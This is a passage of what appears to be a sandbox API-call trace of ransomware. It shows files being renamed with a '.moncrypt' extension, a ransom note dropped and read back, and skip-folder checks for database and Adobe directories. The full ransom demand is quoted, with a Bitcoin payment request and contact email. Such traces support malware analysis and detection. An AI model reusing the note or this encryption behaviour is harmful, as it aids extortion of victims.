(normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.971] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.972] CloseHandle (hObject=0x190) returned 1 [0048.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.972] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.972] GlobalUnlock (hMem=0x44000c) returned 0 [0048.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.972] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.972] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.972] GlobalUnlock (hMem=0x44000c) returned 0 [0048.972] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.972] GlobalUnlock (hMem=0x440004) returned 0 [0048.972] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e74ffa0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e74ffa0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e74ffa0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.972] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.973] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.973] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.973] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.973] CloseHandle (hObject=0x190) returned 1 [0048.979] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0048.980] GetLastError () returned 0x12 [0048.980] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.981] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.981] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.981] GlobalUnlock (hMem=0x440004) returned 0 [0048.981] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.981] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.983] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.989] GlobalUnlock (hMem=0x440004) returned 0 [0048.989] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.989] GlobalUnlock (hMem=0x44000c) returned 0 [0048.991] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3e776100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e776100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.991] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.991] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.991] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.991] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.991] GlobalUnlock (hMem=0x44000c) returned 0 [0048.991] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.991] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.991] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.992] GlobalUnlock (hMem=0x44000c) returned 0 [0048.992] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.992] GlobalUnlock (hMem=0x440004) returned 0 [0048.992] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.992] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3e776100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e776100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.992] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.992] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.992] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.992] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.992] GlobalUnlock (hMem=0x440004) returned 0 [0048.992] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.992] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.992] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.992] GlobalUnlock (hMem=0x440004) returned 0 [0048.992] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.992] GlobalUnlock (hMem=0x44000c) returned 0 [0048.992] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.992] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e74ffa0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e74ffa0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e74ffa0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.992] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.992] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.992] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.992] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.992] GlobalUnlock (hMem=0x44000c) returned 0 [0048.992] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.992] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.992] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.992] GlobalUnlock (hMem=0x44000c) returned 0 [0048.993] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.993] GlobalUnlock (hMem=0x440004) returned 0 [0048.993] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.993] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1925, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.993] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.993] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.993] GlobalUnlock (hMem=0x440004) returned 0 [0048.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.993] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.993] GlobalUnlock (hMem=0x440004) returned 0 [0048.993] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.993] GlobalUnlock (hMem=0x44000c) returned 0 [0048.993] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.993] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML.moncrypt", cAlternateFileName="VISIOM~1.MON")) returned 1 [0048.993] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.993] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.993] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.993] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.993] GlobalUnlock (hMem=0x44000c) returned 0 [0048.993] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.993] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.993] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.993] GlobalUnlock (hMem=0x44000c) returned 0 [0048.993] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.993] GlobalUnlock (hMem=0x440004) returned 0 [0048.993] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.994] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML.moncrypt", cAlternateFileName="VISIOM~1.MON")) returned 0 [0048.994] GetLastError () returned 0x12 [0048.994] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.994] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0048.994] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.994] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.994] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.994] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.994] GlobalUnlock (hMem=0x440004) returned 0 [0048.994] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.994] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.994] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.994] GlobalUnlock (hMem=0x440004) returned 0 [0048.994] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.994] GlobalUnlock (hMem=0x44000c) returned 0 [0048.994] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.994] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.994] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.994] GlobalUnlock (hMem=0x44000c) returned 0 [0048.994] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.995] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.995] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.995] GlobalUnlock (hMem=0x44000c) returned 0 [0048.995] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.995] GlobalUnlock (hMem=0x440004) returned 0 [0048.995] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.995] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", len=0x56 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR") returned 1 [0048.995] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.995] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.995] GlobalUnlock (hMem=0x440004) returned 0 [0048.995] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.995] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.995] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.995] GlobalUnlock (hMem=0x440004) returned 0 [0048.995] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.995] GlobalUnlock (hMem=0x44000c) returned 0 [0048.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@堶U堊U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.995] GetLastError () returned 0x3 [0048.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18㿬Q\x181")) returned 0xffffffff [0048.996] GetLastError () returned 0x2 [0048.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@∜R企@\x18?T\x18;")) returned 0xffffffff [0048.996] GetLastError () returned 0x2 [0048.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@奬U企@\x18?T\x18D")) returned 0xffffffff [0048.997] GetLastError () returned 0x2 [0048.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18∜R\x18j")) returned 0xffffffff [0048.997] GetLastError () returned 0x2 [0048.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@奬U企@\x18?T\x18q")) returned 0xffffffff [0048.998] GetLastError () returned 0x2 [0048.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\∘RP") returned 6 [0048.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 